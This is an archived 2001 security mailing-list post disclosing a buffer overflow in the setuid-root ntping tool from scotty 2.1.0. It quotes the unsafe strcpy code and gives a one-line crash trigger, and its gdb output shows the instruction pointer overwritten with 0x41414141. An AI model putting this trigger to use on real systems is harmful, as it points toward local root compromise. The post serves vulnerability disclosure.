OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: KF (dotslashsnosoft.com)
Date: Sat Jun 09 2001 - 12:15:51 CDT

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    here is the offending code and the attached letter has the general
    information for this issue.

    in /home/d0tslash/scotty-2.1.0/tnm/ntping/ntping.c

    char *hname; /* hostname */
    ...
    else {
            char tmp [512];
            struct hostent *hp;
            strcpy (tmp, hname);
            #ifdef HAVE__RES
            /* try to spend no longer than some seconds: */
            _res.retrans = 1, _res.retry = 3;
            #endif
            if ((hp = gethostbyname (tmp)))
    ...
      
    also ... I believe this is a second issue? difference here is with the
    .'s in the input
    it crashes at make_addr() instead of gethostbyname() (see original
    message)
    ...
    if (4 == sscanf (hname, "%d.%d.%d.%d", &a, &b, &c, &d))
    {
                    naddr = (a << 24) | (b << 16) | (c << 8) | d;
                    naddr = ntohl (naddr);
                    /** XXX hack alert - but what the heck ;-) **/

    [rootlinux ntping]# gdb ntping core
    GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
    Copyright 2001 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you
    are
    welcome to change it and/or distribute copies of it under certain
    conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB. Type "show warranty" for
    details.
    This GDB was configured as "i386-mandrake-linux"...
    Core was generated by
    `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
    Program terminated with signal 11, Segmentation fault.
    Reading symbols from /lib/libc.so.6...done.
    Loaded symbols for /lib/libc.so.6
    Reading symbols from /lib/ld-linux.so.2...done.
    Loaded symbols for /lib/ld-linux.so.2
    Reading symbols from /lib/libnss_files.so.2...done.
    Loaded symbols for /lib/libnss_files.so.2
    #0 0x40051b66 in getenv () from /lib/libc.so.6
    (gdb) bt
    #0 0x40051b66 in getenv () from /lib/libc.so.6
    #1 0x40112adb in inet_nsap_ntoa () from /lib/libc.so.6
    #2 0x401139de in __res_ninit () from /lib/libc.so.6
    #3 0x40116b69 in __nss_hostname_digits_dots () from /lib/libc.so.6
    #4 0x40117f5f in gethostbyname () from /lib/libc.so.6
    #5 0x08049338 in make_addr ()
    #6 0x41414141 in ?? ()
    Cannot access memory at address 0x41414141

    -------- Original Message --------
    Subject: suid scotty advisory soon
    Date: Thu, 07 Jun 2001 19:05:01 -0400
    From: KF <dotslashsnosoft.com>
    To: reconsnosoft.com

    Vendor: http://wwwhome.cs.utwente.nl/~schoenw/scotty/

    What led me to research this:
    arndtaorta.tat.physik.uni-tuebingen.de (Michael Arndt) wrote:
    > i run scotty-testsuite: what must i change on my system:(Linux
    > slackware):
    > ==== Test generated error:
    > can not connect straps socket: Permission denied
    straps and ntping must be installed suid root.

    ^------- Hrmm I sure thought that was interesting to know *grin*

    Vendors affected:
    unknown by the author of this document

    just a note I found however...

    <19990702221232.79B119410Galois.suse.de>
    Hi folks,
    here is the long promised posting of all suid/sgid files on a alpha of
    SuSE
    Linux 6.2 ... comments on wrong permissions are welcome.
    Please note that SuSE has got 5 full CD-Roms so thats the reason for the
    many many files ... (and too much suid/sgid ones ...)
    ...
    -rwsr-xr-x 1 root root 33370 Jun 30 11:11 ./usr/bin/ntping
    -rwsr-xr-x 1 root root 18352 Jun 30 11:11 ./usr/bin/straps
    ...

    real world example:
    [rootlinux d0tslash]# /usr/bin/ntping `perl -e 'print "A" x 9000'`
    Segmentation fault (core dumped)

    [rootlinux d0tslash]# gdb /usr/bin/ntping core
    GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
    This GDB was configured as "i386-mandrake-linux"...
    (no debugging symbols found)...
    Core was generated by
    `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
    Program terminated with signal 11, Segmentation fault.
    Reading symbols from /lib/libnsl.so.1...(no debugging symbols
    found)...done.
    Loaded symbols for /lib/libnsl.so.1
    Reading symbols from /lib/libresolv.so.2...(no debugging symbols
    found)...done.
    Loaded symbols for /lib/libresolv.so.2
    Reading symbols from /lib/libc.so.6...(no debugging symbols
    found)...done.
    Loaded symbols for /lib/libc.so.6
    Reading symbols from /lib/ld-linux.so.2...done.
    Loaded symbols for /lib/ld-linux.so.2
    Reading symbols from /lib/libnss_files.so.2...done.
    Loaded symbols for /lib/libnss_files.so.2
    #0 0x40079b66 in getenv () from /lib/libc.so.6
    (gdb) bt
    #0 0x40079b66 in getenv () from /lib/libc.so.6
    #1 0x4013aadb in inet_nsap_ntoa () from /lib/libc.so.6
    #2 0x4013b9de in __res_ninit () from /lib/libc.so.6
    #3 0x4013eb69 in __nss_hostname_digits_dots () from /lib/libc.so.6
    #4 0x4013ff5f in gethostbyname () from /lib/libc.so.6
    #5 0x080495b8 in _start ()
    #6 0x41414141 in ?? ()
    Cannot access memory at address 0x41414141

    -KF